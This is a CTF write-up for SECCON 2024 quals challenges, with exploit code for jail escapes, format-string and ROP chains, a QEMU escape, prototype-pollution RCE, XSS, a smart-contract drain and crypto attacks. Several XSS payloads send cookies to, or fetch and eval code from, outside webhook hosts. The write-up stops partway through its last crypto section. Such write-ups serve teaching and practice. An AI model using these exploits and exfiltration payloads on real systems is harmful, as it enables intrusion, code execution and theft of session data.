# Jail
## gotojail
- Noticed that we can use cgo
- Bypassed `(){}` blacklist by using `asm()` to spoof free function and a gadget in `#<netipx/ipx.h>`
```
package main
//#include <netipx/ipx.h>
//#define SIOCPROTOPRIVATE"free:movq $0x6873,\050%rdi);jmp system;.globl free;"
//__asm__ SIOCAIPXITFCRT;
import "C"
func main(){}
__EOF__
stdin:
cat /flag* >/proc/1/fd/1
```
## 1linepyjail
Discovered that `help()` can import any module to the program and also we can import jail again with it.
```
().__class__.__mro__[1].__subclasses__()[155].__init__.__builtins__['help']()
code
jail
().__class__.__mro__[1].__subclasses__()[-3].__init__.__globals__['interact']()
```
## PP4
We can use the prototype pollution to define variables which we can later access in the jsfuck part using `undefined`. In the jsfuck part we can use `[][[]] -> undefined` to access the values from the prototype pollution, and use the `constructor` function to execute code.
```python
from pwn import *
import json
#r = process(['node', './index.js'], level='error')
r = remote('pp4.seccon.games', 5000, level='error')
payload_code = '''return process.binding('spawn_sync').spawn({file: '/bin/bash', args: [ '/bin/bash', '-c', 'cat /flag*' ], stdio: [ {type:'pipe',readable:!0,writable:!1}, {type:'pipe',readable:!1,writable:!0}, {type:'pipe',readable:!1,writable:!0} ]}).output.toString();'''
j = {'__proto__': {'':{'undefined':'a', 'a':{'undefined': 'constructor', 'a': {'undefined': 'constructor', 'a': {'undefined': payload_code}}}}}}
j = json.dumps(j)
print(j)
r.sendlineafter(b'JSON: ', j.encode())
u = '[][[]]'
us = 'u[u]'
a = 'u[us]'
p = '[][u[a][us]][u[a][a][us]](u[a][a][a][us])()'
p = p.replace('a', a).replace('us', us).replace('u', u)
print(p)
r.sendlineafter(b'code: ', p.encode())
res = r.recvall().decode()
print(res)
```
Flag: `SECCON{prototype_po11ution_turns_JavaScript_into_a_puzzle_game}
`
# pwn
## Paragraph
```c
#include <stdio.h>
int main() {
  char name[24];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  printf("\"What is your name?\", the black cat asked.\n");
  scanf("%23s", name);
  printf(name);
  printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name);
  return 0;
}
```
there is a format string bug in `printf(name);`. so if use this can overwrite lower 2byte of got. if change the `printf` got `scanf` address. then can get a overflow in `printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name);`. 
1. leak libc and overwrite printf got to scanf address
2. Because of there's no canary, write BOF payload that call system("/bin/sh");
```python
from pwn import *
#p = remote("127.0.0.1", 5000)
p = remote("paragraph.seccon.games",5000)
payload = f"%{0xe00}c%8$hn".encode()
payload += b"%11$p"
payload += p32(0x404028) +p8(0)+p8(0)
print(payload)
print(len(payload))
pause()
p.sendlineafter(".",payload)
p.recvuntil("0x")
libc = int(p.recv(12),16) - 0x2d1ca + 0x3000
log.info(hex(libc))
in_payload = b"A"*0x28
in_payload += p64(libc+0x000000000010f75b+1)
in_payload += p64(libc+0x000000000010f75b)
in_payload += p64(libc+0x1cb42f)
in_payload += p64(libc+0x58740)
payload= b" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted "+in_payload+b" warmly.\n"
print(payload)
sleep(1)
p.sendline(payload)
p.sendline("cat flag*")
p.interactive()
```
FLAG : `SECCON{The_cat_seemed_surprised_when_you_showed_this_flag.}`
## BabyQEMU
[Full Writeup](https://kileak.github.io/ctf/2024/seccon13quals-babyqemu/)
The mmio device has no out-of-bounds checks, so we can use it to read/write anywhere in QEMU memory. By this, we can first leak the addresses of QEMU heap and binary, then craft a fake vtable in the heap and overwrite an existing vtable pointer to execute `system("/bin/sh")`.
For this we use the following gadgets
```
0x0000000000575a0e: mov rdi, qword ptr [rax + 0x10]; call qword ptr [rax];
```
With that we can control the content of `rdi` putting an address to a `/bin/sh` string in it, which we'll also put on the heap.
```
0x000000000035f5d5: call qword ptr [rax + 8];
```
Since executing `system` directly from the first gadget would result in a segfault on `movaps` due to a misaligned stack, we'll just chain another `call`, which will fix the stack alignment and then execute `system`.
```cpp
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#define MMIO_SET_OFFSET 0
#define MMIO_SET_DATA 8
#define MMIO_GET_DATA 8
unsigned char *mmio_mem;
void mmio_write(uint32_t addr, uint32_t value)
{
    *(uint32_t *)(mmio_mem + addr) = value;
}
uint32_t mmio_read(uint32_t addr)
{
    return *(uint32_t *)(mmio_mem + addr);
}
void set_offset_lo(uint32_t value)
{
    mmio_write(MMIO_SET_OFFSET, value);
}
void set_offset_hi(uint32_t value)
{
    mmio_write(MMIO_SET_OFFSET + 4, value);
}
void set_value(uint32_t value)
{
    mmio_write(MMIO_SET_DATA, value);
}
uint64_t get_value()
{
    return mmio_read(MMIO_GET_DATA);
}
uint64_t read_addr_offset(uint64_t offset)
{
    set_offset_lo(offset & 0xffffffff);
    set_offset_hi((offset >> 32) & 0xffffffff);
    uint64_t addr_lo = get_value();
    set_offset_lo((offset + 4) & 0xffffffff);
    set_offset_hi(((offset + 4) >> 32) & 0xffffffff);
    uint64_t addr_hi = get_value();
    return (addr_hi << 32) | addr_lo;
}
void write_addr_offset(uint64_t offset, uint32_t value)
{
    set_offset_lo(offset & 0xffffffff);
    set_offset_hi((offset >> 32) & 0xffffffff);
    set_value(value);
}
int main()
{
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    mmio_mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    uint64_t heapleak = read_addr_offset(0x120);
    uint64_t qemuleak = read_addr_offset(0x130);
    uint64_t qemubase = qemuleak - 0x7b44a0;
    uint64_t opaque = read_addr_offset(-0xbf8 + 0xd8);
    uint64_t mmio_ptr = read_addr_offset(-0xbf8 - 0x7b0);
    uint64_t target_off = opaque - mmio_ptr - 0x50;
    printf("HEAP leak     : %p\n", heapleak);
    printf("QEMU leak     : %p\n", qemuleak);
    printf("QEMU base     : %p\n", qemubase);
    printf("opaque        : %p\n", opaque);
    printf("mmio_ptr      : %p\n", mmio_ptr);
    printf("target_off    : %p\n", target_off);
    // 0x0000000000575a0e: mov rdi, qword ptr [rax + 0x10]; call qword ptr [rax];
    // 0x000000000035f5d5: call qword ptr [rax + 8];
    uint64_t system = qemubase + 0x324150;
    uint64_t setrdigadget = qemubase + 0x0000000000575a0e;
    uint64_t callrax8 = qemubase + 0x000000000035f5d5;
    write_addr_offset(0x20, callrax8 & 0xffffffff); // rax
    write_addr_offset(0x24, callrax8 >> 32);        // rax
    write_addr_offset(0x20 + 8, system & 0xffffffff); // rax+0x8
    write_addr_offset(0x20 + 4 + 8, system >> 32);    // rax+0x8
    write_addr_offset(0x20 + 0x10, ((heapleak + 0x1d20) & 0xffffffff) + 0x10); // rax + 0x10 => address of bin/sh
    write_addr_offset(0x24 + 0x10, heapleak >> 32);
    write_addr_offset(0x20 + 8 + 0x10, 0x6e69622f); // rax+0x18 => bin/sh
    write_addr_offset(0x20 + 8 + 0x10 + 4, 0x68732f);
    write_addr_offset(0x20 + 0x38, setrdigadget & 0xffffffff); // gadget (call [rax])
    write_addr_offset(0x24 + 0x38, setrdigadget >> 32);
    write_addr_offset(-0xbf8 - target_off, opaque + 0xbf8 + 0x20); // overwrite vtable
    munmap(mmio_mem, 0x1000);
    close(mmio_fd);
}
```
Flag: `SECCON{q3mu_35c4p3_15_34513r_7h4n_y0u_7h1nk}`
## TOY/2
[Full Writeup](https://kileak.github.io/ctf/2024/seccon13quals-toy2/)
The range check in `stt` has a off-by-one error, which allows us to overwrite one byte outside of `_mem`. With this, we can overwrite the `_mem` pointer itself, moving the vm memory range up- and downwards. This lets us overwrite the size of the vm memory and also access the vtable pointer of the vm.
We can then read the original vtable pointer and calculate the address of `main`, create a fake vtable, which will jump back into `main` when `vm->dump_registers()` gets called. Raising an exception before with executing an `illegal` instruction (opcode 7) will put an exception object on the heap, which will contain pointers to `libstdc++`. 
So when returning back into main, we can again overwrite `size` and `_mem` pointer to read/write outside of the vm. Thus we can get the `libstdc++` pointer, calculate `libc` base and then create a fake vtable, which will then execute `system("/bin/sh")` when `vm->dump_registers()` is called again.
```cpp
#!/usr/bin/python
from pwn import *
import sys
LOCAL = True
HOST = "toy-2.seccon.games"
# HOST = "localhost"
PORT = 5000
PROCESS = "./toy2"
def op(first, second):
    val = first << 12
    val |= second
    return p16(val)
def jmp(addr):
    return op(0, addr)
def adc(addr):
    return op(1, addr)
def xor(addr):
    return op(2, addr)
def sbc(addr):
    return op(3, addr)
def ror():
    return op(4, 0)
def tat():
    return op(5, 0)
def oor(addr):
    return op(6, addr)
def oand(addr):
    return op(8, addr)
def ldc(addr):
    return op(9, addr)
def bcc(addr):
    return op(10, addr)
def bne(addr):
    return op(11, addr)
def ldi():
    return op(12, 0)
def stt():
    return op(13, 0)
def lda(addr):
    return op(14, addr)
def sta(addr):
    return op(15, addr)
def exploit(r):
    # code segment
    # move _mem ptr down
    code = lda(0xf00)
    code += tat()
    code += lda(0xf02)
    code += stt()
    # padding for moved mem ptr
    code += b"\x00" * 16
    # overwrite _mem size
    code += lda(0xf04 - 0x10)
    code += sta(0x1000 + 8 - 0x10)
    # padding to increase pc
    code += ror() * 16
    # move _mem ptr up
    code += lda(0xf06 - 0x10)
    code += sta(0x1000 - 1 - 0x10)
    # read vtable and calculate offset to main
    code += lda(-0x8 + 0x8)             # read original vtable (lower 2 bytes)
    code += sbc(0xf08 + 0x8)            # calculate elf base
    code += adc(0xf0a + 0x8)            # calculate main
    code += sta(0xe00 + 0x8)            # write into mem
    code += lda(-0x8 + 0x2 + 0x8)       # read original vtable (next 2 bytes)
    code += sta(0xe00 + 0x2 + 0x8)      # write into mem
    code += lda(-0x8 + 0x4 + 0x8)       # read original vtable (next 2 bytes)
    code += sta(0xe00 + 0x4 + 0x8)      # write into mem
    # overwrite vtable ptr
    code += lda(0xf0c + 0x8)            # load offset to _mem ptr
    code += ldi()                       # read lower 2 bytes of _mem ptr
    code += adc(0xf12 + 0x8)            # add offset to fake vtable
    code += sta(-0x8 + 0x8)             # overwrite vtable
    code += lda(0xf0e + 0x8)            # copy _mem ptr+2 to vtable+2
    code += ldi()
    code += sta(-0x8 + 0x2 + 0x8)
    code += lda(0xf10 + 0x8)            # copy _mem ptr+4 to vtable+4
    code += ldi()
    code += sta(-0x8 + 0x4 + 0x8)
    # trigger invalid instruction
    code += op(7, 0)
    # data segment
    code = code.ljust(0xf00, b"\x00")
    code += p16(0xc800)                 # 0xf00 LSB overwrite value (move down)
    code += p16(0xfff)                  # 0xf02 Target address (overwrite _mem ptr)
    code += p16(0xffff)                 # 0xf04 new _mem_size
    code += p16(0xb000)                 # 0xf06 LSB overwrite value (move up)
    code += p16(0x4c70)                 # 0xf08 original vtable offset
    code += p16(0x26d0)                 # 0xf0a offset to main
    code += p16(0x1000 + 0x8)           # 0xf0c offset to _mem ptr
    code += p16(0x1000 + 0x2 + 0x8)     # 0xf0e offset to _mem ptr + 2
    code += p16(0x1000 + 0x4 + 0x8)     # 0xf10 offset to _mem ptr + 4
    code += p16(0xe00)                  # 0xf12 offset to fake vtable
    code = code.ljust(4096, b"\x00")
    r.send(code)
    r.recvuntil(b"[+] Done.")
    # move _mem ptr down
    code = lda(0xf00)
    code += tat()
    code += lda(0xf02)
    code += stt()
    # padding for moved mem ptr
    code += b"\x00" * 16
    # overwrite _mem size
    code += lda(0xf04 - 0x10)
    code += sta(0x1000 + 8 - 0x10)
    # padding to increase pc
    code += ror() * 80
    # move _mem ptr up
    code += lda(0xf06 - 0x10)
    code += sta(0x1000 - 1 - 0x10)
    LIBCOFFSET = 0x4aeff0
    # read libstdc++ pointer and calculate libc base and store in _mem
    code += lda(0x10)                  # bytes 0-2
    code += sbc(0xf08 + 0x78)
    code += sta(0x400 + 0x78)
    code += lda(0x12)                  # bytes 2-4
    code += sbc(0xf0a + 0x78)
    code += sta(0x402 + 0x78)
    code += lda(0x14)                  # bytes 4-6
    code += sta(0x404 + 0x78)
    # 0x000000000016e44e: mov rdi, r14; call qword ptr [rax + 0x10];
    GADGETOFFSET = 0x16e44e
    # write fake vtable with gadget
    code += lda(0x400 + 0x78)           # libc base
    code += adc(0xf0c + 0x78)           # add gadget offset
    code += sta(0x410 + 0x78)           # fake vtable
    code += lda(0x402 + 0x78)           # libc base
    code += adc(0xf0e + 0x78)           # add gadget offset
    code += sta(0x412 + 0x78)           # fake vtable
    code += lda(0x404 + 0x78)           # libc base
    code += sta(0x414 + 0x78)           # fake vtable
    # write binsh string to _mem
    BINSH = 0x0068732f6e69622f
    code += lda(0xf10 + 0x78)
    code += sta(0x10)
    code += lda(0xf12 + 0x78)
    code += sta(0x12)
    code += lda(0xf14 + 0x78)
    code += sta(0x14)
    code += lda(0xf16 + 0x78)
    code += sta(0x16)
    # write system+0x1b to rax+0x10
    SYSTEMOFFSET = libc.symbols["system"] + 0x1b
    code += lda(0x400 + 0x78)           # libc base
    code += adc(0xf18 + 0x78)           # add system offset
    code += sta(0x418 + 0x78)           # store at 0x418
    code += lda(0x402 + 0x78)           # libc base
    code += adc(0xf1a + 0x78)           # add system offset
    code += sta(0x418 + 0x2 + 0x78)     # store at 0x418+2
    code += lda(0x404 + 0x78)           # libc base
    code += sta(0x418 + 0x4 + 0x78)     # store at 0x418+4
    # overwrite vtable with fake vtable
    code += lda(0xf1c + 0x78)           # get _mem_ptr
    code += ldi()
    code += adc(0xf22 + 0x78)           # add offset to fake vtable
    code += sta(0x70)                   # overwrite vtable
    code += lda(0xf1e + 0x78)           # get _mem_ptr+2
    code += ldi()
    code += sta(0x70 + 0x2)
    code += lda(0xf20 + 0x78)           # get _mem_ptr+4
    code += ldi()
    code += sta(0x70 + 0x4)
    # data segment
    code = code.ljust(0xf00, b"\x00")
    code += p16(0xd800)                 # 0xf00 LSB overwrite value (move down)
    code += p16(0xfff)                  # 0xf02 Target address (overwrite _mem ptr)
    code += p16(0xffff)                 # 0xf04 new _mem_size
    code += p16(0x5000)                 # 0xf06 LSB overwrite value (move up)
    code += p16(LIBCOFFSET & 0xffff)            # 0xf08 libc offset (0-16)
    code += p16((LIBCOFFSET >> 16) & 0xffff)    # 0xf0a libc offset (16-32)
    code += p16(GADGETOFFSET & 0xffff)          # 0xf0c gadget offset (0-16)
    code += p16((GADGETOFFSET >> 16) & 0xffff)  # 0xf0e gadget offset (16-32)
    code += p16(BINSH & 0xffff)                 # 0xf10 binsh (0-16)
    code += p16((BINSH >> 16) & 0xffff)         # 0xf12 binsh (16-32)
    code += p16((BINSH >> 32) & 0xffff)         # 0xf14 binsh (32-48)
    code += p16((BINSH >> 48) & 0xffff)         # 0xf16 binsh (48-64)
    code += p16(SYSTEMOFFSET & 0xffff)          # 0xf18 system offset (0-16)
    code += p16((SYSTEMOFFSET >> 16) & 0xffff)  # 0xf1a system offset (16-32)
    code += p16(0x1000 + 0x78)                  # 0xf1c _mem_ptr
    code += p16(0x1000 + 0x2 + 0x78)            # 0xf1e _mem_ptr+2
    code += p16(0x1000 + 0x4 + 0x78)            # 0xf20 _mem_ptr+4
    code += p16(0x480)                          # 0xf22 offset to fake vtable
    code = code.ljust(4096, b"\x00")
    pause()
    r.send(code)
    r.interactive()
    return
if __name__ == "__main__":
    libc = ELF("./libc.so.6")
    context.terminal = ["tmux", "splitw", "-v"]
    if len(sys.argv) > 1:
        LOCAL = False
        r = remote(HOST, PORT)
    else:
        LOCAL = True
        r = remote("localhost", 5000)
        pause()
    exploit(r)
```
Flag: `SECCON{Im4g1n3_pWn1n6_1n51d3_a_3um_CM0S}`
# Web
## TrillionBank
A user can send their balance to another user putting their name into the form. The following database query will be executed:
```js
await conn.query("UPDATE users SET balance = balance - ? WHERE id = ?", [
  amount,
  req.user.id,
]);
await conn.query("UPDATE users SET balance = balance + ? WHERE name = ?", [
  amount,
  recipientName,
]);
```
This can be exploited if there are multiple accounts with the same name, because this query will increase the balance of all accounts with the given name.
The register endpoint, which is responsible to prevent this from happening, looks indeed weird:
```js
app.post("/api/register", async (req, res) => {
  const name = String(req.body.name);
  if (!/^[a-z0-9]+$/.test(name)) {
    res.status(400).send({ msg: "Invalid name" });
    return;
  }
  if (names.has(name)) {
    res.status(400).send({ msg: "Already exists" });
    return;
  }
  names.add(name);
  const [result] = await db.query("INSERT INTO users SET ?", {
    name,
    balance: 10,
  });
  res
    .setCookie("session", await res.jwtSign({ id: result.insertId }))
    .send({ msg: "Succeeded" });
});
```
There is the `names` map variable, which is used to handle the duplication check. Although this weird logic makes race condition impossible (due to the single-threaded nature of Node.js), but still... this logic is weird.
The type of the `users` table's `name` field is `TEXT`. The maximum length of a `TEXT` field is 65,535 bytes. If the value exceeds this threshold, well, [it will be truncated, emitting a warning](https://dev.mysql.com/doc/refman/8.4/en/char.html#:~:text=If%20strict%20SQL%20mode%20is%20not%20enabled%20and%20you%20assign%20a%20value%20to%20a%20CHAR%20or%20VARCHAR%20column%20that%20exceeds%20the%20column%27s%20maximum%20length%2C%20the%20value%20is%20truncated%20to%20fit%20and%20a%20warning%20is%20generated.). Honestly I think this is insane engineering decision; This is database and you don't want your database to screw up your data, but that's what they're doing here exactly. Yeah, it emits the warning, which will be silently ignored on the backend since no one knows this abnormal behavior and generally no one writes the code handling the 'warning' from the database after your seemingly successful query. Good job, MySQL.
By the way, this behavior is exploitable in this codebase. You can generate some 65535-byte random username and register the accounts with the names `username`, `username + "A"`, `username + "A" * 2`, ..., `username + "A" * 15`. Now when someone transfers their money to `username`, all of the accounts we created will receive the amount sent.
The following code exploits this behavior to get the flag:
```python
import requests
import random
import string
chall = 'http://trillion.seccon.games:3000'
gen = lambda l: ''.join([random.choice(string.ascii_lowercase + string.digits) for _ in range(l)])
ref_name = gen(16)
prefix = gen(65535)
def register(name):
    session = requests.Session()
    r = session.post(chall + "/api/register", json={'name': name})
    if r.status_code == 200:
        return session
ref_session = register(ref_name)
prefix_sessions = [register(prefix + 'a' * i) for i in range(16)]
while True:
    r = ref_session.get(chall + "/api/me")
    d = r.json()
    print("Main", d['balance'])
    if d['balance'] > 1000000000000:
        print(d)
        break
    r = ref_session.post(chall + "/api/transfer", json={'recipientName': prefix, 'amount': str(d['balance'])})
    print("Result", r.text)
    for prefix_session in prefix_sessions:
        r = prefix_session.get(chall + "/api/me")
        d = r.json()
        r = prefix_session.post(chall + "/api/transfer", json={'recipientName': ref_name, 'amount': str(d['balance'])})
```
And the flag obtained with the above code is `SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}`.
## Self-SSRF
We have a `/ssrf` endpoint that will locally send a request to `/flag` with the correct `flag` but there's a middleware that checks that `req.query.flag` exists so the request will end up looking like `flag={user input}&flag=SECCON{realflag}` which will not pass the code below.
```js
res.send(
req.query.flag === FLAG // Guess the flag
  ? `Congratz! The flag is '${FLAG}'.`
  : `<marquee>🚩🚩🚩</marquee>`
);
```
Since passing in two different `flag` will make `req.query.flag` into an array. 
After a bit of digging, we found out that `/ssrf?flag[=]=1` will output flag due to the code initially recognizing `flag` correctly as an object but whenever it tries to append it, it treats the flag object differently and uniquely adds the real flag as it can be seen in the log below.
```
chall-1  | req.query.flag is : {       <-- Before append
chall-1  |   "=": "1",
chall-1  | }
chall-1  | search params: URLSearchParams { <-- After append
chall-1  |   "flag[": "]=1",
chall-1  |   "flag": "SECCON{dummy}",
chall-1  | }
```
`Congratz! The flag is 'SECCON{Which_whit3space_did_you_u5e?}'`.
## Tanuki Udon
For the markdown function, it has less validation. So, we could do inject `onerror` on the img tag.
We could get some XSS on there and manage to solve this challenge.
```
[]( onerror=a=atob`dmFyIGNoaWxkID0gd2luZG93Lm9wZW4oIi8iKTtzZXRUaW1lb3V0KCgpPT57IG5hdmlnYXRvci5zZW5kQmVhY29uKCJodHRwczovL3dlYmhvb2suc2l0ZS80ZmUyYmVkOC1lNzcxLTRhYjctYmI3NC02ZDAzYmVjYjFhOTQvIiwgY2hpbGQuZG9jdW1lbnQuYm9keS5pbm5lckhUTUwpfSwgNTAp`;eval.call`${a}` )
```
`SECCON{Firefox Link = Kitsune Udon <-> Chrome Speculation-Rules = Tanuki Udon}`
## Javascryptor
There a trivial XSS in this challenge but there are two problems. First one is that we need currentId and the second one is that all users use a unique key so we can't easily alert() other users.
We can solve the first problem by iframing the payload, the currentId then won't be overwritten because chrome will isolate the localstorage.
For the second problem, we can use the prototype pollution vulnerablity that exists in purl.
The following code is part of `CryptoJS.enc.Base64`. If we pollute the first 4 indexes of `words` array with 0xffffffff then the key will always be `\xff*16`. 
```
function parseLoop(base64Str, base64StrLength, reverseMap) {
  var words = [];
  var nBytes = 0;
  for (var i = 0; i < base64StrLength; i++) {
      if (i % 4) {
          var bits1 = reverseMap[base64Str.charCodeAt(i - 1)] << ((i % 4) * 2);
          var bits2 = reverseMap[base64Str.charCodeAt(i)] >>> (6 - (i % 4) * 2);
          var bitsCombined = bits1 | bits2;
          words[nBytes >>> 2] |= bitsCombined << (24 - (nBytes % 4) * 8);
          nBytes++;
      }
  }
  return WordArray.create(words, nBytes);
}
```
We then crafted a "ciphertext" and "iv" that after decrypted, will contain the following payload (kinda tricky since the first 32 bytes of iv and ciphertext will also be 0xff, but since it is AES CBC we can workaround it): 
```
<img src="1" onerror="fetch(`https://webhook.site/93a65f09-080c-4b21-8128-973cb0f05cec`).then(r=>r.text()).then(r=>eval(r))">
```
```
{
    "iv": "Q8WR0Y19Yt4+v+l+gLy9MA==",
    "ciphertext": "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF9E+cnEaysGpsqekoJLjPS34MzP5M228OaQNi+lAo4tafZT+7odECs9fgu8b1NXiRp6rEivWE1nQVsoeqOID1K+3xmWJsMercjRK7jVlLEbhJd1KOAGmCZZxEGexnWOfEzNpzXgxxQWAy4AyayzaCT+Z0gFbmIylQGZl/OKhfThISWwZ35QBMo1MLSu2OokvU="
}
```
Then hosted the following code at that webhook URL.
```
let x = window.open('/df')
setTimeout(_=>{
    fetch(`http://localhost:3000/?a=`+encodeURIComponent(`${x.localStorage.getItem('currentId')} - ${x.localStorage.getItem('key')}`))
},1000)
```
Finally triggering the exploit
```
<!-- page at attacker.com -->
<iframe src="http://javascrypto.seccon.games:3000/?id=8e13541e-a68f-4248-8075-4726dea7f80d&d[__proto__][0]=0xffffffff&d[__proto__][1]=0xffffffff&d[__proto__][2]=0xffffffff&d[__proto__][3]=0xffffffff"></iframe>
```
## Double Parser
htmlparser2 doesn't handle xmp tags well... We can use this to craft a payload.
To bypass CSP we can use HTML comments. In Javascript (`<!--`) behaves somehow like `//`.
```
<!--
alert()
->
```
```
encodeURIComponent(`<xmp><!--</xmp><img id="--></xmp><img src=1 ><xmp><!-- </xmp><script src='/?html=%3C!--%0A%3Bfetch(%60https%3A%2F%2Fwebhook.site%2F93a65f09-080c-4b21-8128-973cb0f05cec%60%2C%7Bmethod%3A%60POST%60%2Cbody%3Adocument.cookie%7D)%2F%2F--%3E'></script> --></xmp>">`)
```
# Blockchain
## trillionether
The code has uninitialized pointer reuse vulnerability. So, we could overwrite the slot address where we want to ovewrite.
Ref: https://github.com/ethereum/solidity/issues/14021
After some research, I realized that the integer overflow/underflow will be detected but it's not reveretd when it calculates the internal slot address. So, I could abuse this and manage to solve this challenge.
My payload will overwrite balance as `msg.sender`. So, we could drain the balance of the contract.
payload:
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Script.sol";
import "../src/TrillionEther.sol";
contract CounterScript is Script {
    TrillionEther public te;
    address public cont;
    function setUp() public {
        cont = 0x6d240F5aeebc6fB8Cc596fE445BcA32e3f653667;
        te = TrillionEther(cont);
    }
    function alignSlot() public {
        te.createWallet(bytes32(uint256(0xf250b10ce3d189c7b8a9937227ed301291731678e7eaa7adedf0244dfb0408df) - 1));
        te.createWallet(bytes32(uint256(0x9cfb5bb78e7c347263543e1cd297dabd3c1dc12392955258989acef8a5aeb389) - 1));
        te.createWallet(bytes32(uint256(0x47a606623926df1d0dfee8c77d428567e6c86bce3d3ffd03434579a350595e34) - 1));
        te.createWallet(bytes32(uint256(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) - 1));
    }
    function run() public {
        vm.startBroadcast(0xabc36aba623d0038158461f5d4b1b25e16d5844f72a520716a2b02e9981e68cb);
        uint256 dest = 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563;
        alignSlot();
        uint256 goal = 0xf250b10ce3d189c7b8a9937227ed301291731678e7eaa7adedf0244dfb0408df - 1;
        unchecked {
            console.logBytes32(bytes32(dest+(3*goal)));
            bytes32 expectedSlot0 = vm.load(address(te), bytes32(dest+(3*goal)+0));
            bytes32 expectedSlot1 = vm.load(address(te), bytes32(dest+(3*goal)+1));
            bytes32 expectedSlot2 = vm.load(address(te), bytes32(dest+(3*goal)+2));
            console.logBytes32(expectedSlot0);
            console.logBytes32(expectedSlot1);
            console.logBytes32(expectedSlot2);
        }
        te.withdraw(goal, address(te).balance);
        console.log(te.isSolved());
    }
}
```
`SECCON{unb3l13-bubb13_64362072f002c1ea}`
# Crypto
## reiwa-rot13
Related message attack
```py
from itertools import product
diffs = set()
for cand in product(["a", "n"], repeat=10):
    orig = "".join(cand)
    rotated = codecs.encode(orig, "rot13")
    diff = bytes_to_long(orig.encode()) - bytes_to_long(rotated.encode())
    diffs.add(diff)
R.<X> = Zmod(n)[]
from tqdm import tqdm
for diff in tqdm(diffs):
    g1 = X ** e - c1
    g2 = (X + diff) ** e - c2
    while g2:
        g1, g2 = g2, g1 % g2
    g = g1.monic()
    if g.degree() != 1:
        continue
    recovered = long_to_bytes(int(-g[0]))
    if len(recovered) == 10:
        print(recovered)
        continue
```
Profit
```py
key = recovered
key = b"dnjqygbmor"
key = hashlib.sha256(key).digest()
cipher = AES.new(key, AES.MODE_ECB)
print(cipher.decrypt(encyprted_flag))
b'SECCON{Vim_has_a_command_to_do_rot13._g?_is_possible_to_do_so!!}'
```
## dual summon
```
t11 = s1 + L * a1 + ct11 * a1^2 (used pt1)
t12 = s1 + L * a1 + ct12 * a1^2 (used pt2)
t21 = s2 + L * a2 + ct21 * a2^2 (used pt1)
t22 = s2 + L * a2 + ct22 * a2^2 (used pt2)
```
we know ct11 + ct12 because ct11 + ct12 = pt1 + pt2
we also know ct21 + ct22 = pt1 + pt2 too.
```
t11 + t12 = (ct11 + ct12) * a1^2
t21 + t22 = (ct21 + ct22) * a2^2
```
so we can recover a1^2, a2^2
now put final_pt = pt1 + x
where x = (t11 + t21) / (a1^2 + a2^2)
then
```
final_tag1 = t11 + a1^2 * x
final_tag2 = t21 + a2^2 * x
final_tag1 + final_tag2 = t11 + t21 + x * (a1^2 + a2^2) = t11 + t21 + t11 + t21 = 0
```
so final_tag1 = final_tag2
```python
# Helper
from Crypto.Cipher import AES
F.<a> = GF(2^128, modulus=x^128 + x^7 + x^2 + x + 1)
mod = 2^128 + 2^7 + 2^2 + 2 + 1
def bytes_to_n(b):
    v = int.from_bytes(nullpad(b), 'big')
    return int(f"{v:0128b}"[::-1], 2)
def bytes_to_poly(b):
    return F.from_integer(bytes_to_n(b))
def poly_to_n(p):
    v = p.to_integer()
    return int(f"{v:0128b}"[::-1], 2)
    
def poly_to_bytes(p):
    return poly_to_n(p).to_bytes(16, 'big')
def length_block(lad, lct):
    return int(lad * 8).to_bytes(8, 'big') + int(lct * 8).to_bytes(8, 'big')
def nullpad(msg):
    return bytes(msg) + b'\x00' * (-len(msg) % 16)
def calculate_tag(key, ct, nonce, ad):
    y = AES.new(key, AES.MODE_ECB).encrypt(bytes(16))
    s = AES.new(key, AES.MODE_ECB).encrypt(nonce + b"\x00\x00\x00\x01")
    assert len(nonce) == 12
    # I was lazy to find one for other length nonces, not really needed for this challenge
    y = bytes_to_poly(y)
    l = length_block(len(ad), len(ct))
    blocks = nullpad(ad) + nullpad(ct)
    bl = len(blocks) // 16
    blocks = [blocks[16 * i:16 * (i + 1)] for i in range(bl)]
    blocks.append(l)
    blocks.append(s)
    tag = F(0)
    
    for exp, block in enumerate(blocks[::-1]):
        tag += y^exp * bytes_to_poly(block)
    tag = poly_to_bytes(tag)
    return tag
def check():
    key = os.urandom(16)
    nonce = os.urandom(12)
    ad = os.urandom(os.urandom(1)[0])
    pt = os.urandom(os.urandom(1)[0])
    
    cipher = AES.new(key, AES.MODE_GCM, nonce)
    cipher.update(ad)
    ct, tag = cipher.encrypt_and_digest(pt)
    assert tag == calculate_tag(key, ct, nonce, ad)
check()
from pwn import remote, process
# io = process(["python3", "server.py"])
io = remote("dual-summon.seccon.games", 2222r)
atags = []
y2s = []
for i in range(1, 3):
    a = b"asdfasdfasdfasdf"
    b = b"qwerqwerqwerqwer"
    io.sendline(b"1")
    io.sendline(str(i).encode())
    io.sendline(bytes.hex(a).encode())
    io.recvuntil(b"tag(hex) = ")
    taga = bytes.fromhex(io.recvline().decode())
    io.sendline(b"1")
    io.sendline(str(i).encode())
    io.sendline(bytes.hex(b).encode())
    io.recvuntil(b"tag(hex) = ")
    tagb = bytes.fromhex(io.recvline().decode())
    taga = bytes_to_poly(taga)
    tagb = bytes_to_poly(tagb)
    atags.append(taga)
    a = bytes_to_poly(a)
    b = bytes_to_poly(b)
    y2 = (taga + tagb) / (a + b)
    y2s.append(y2)
diff = atags[0] + atags[1] + (y2s[0] + y2s[1]) * a
ans = diff / (y2s[0] + y2s[1])
ans = poly_to_bytes(ans)
io.sendline(b"2")
io.sendline(bytes.hex(ans))
io.interactive()
```
## Tidal wave
### Recover alphas
Square of alphas are given, and we have determinant of submatrixes of G, which is Vandermonde matrix.
I expressed dets with alphas, and just run`groebner_basis` with them.
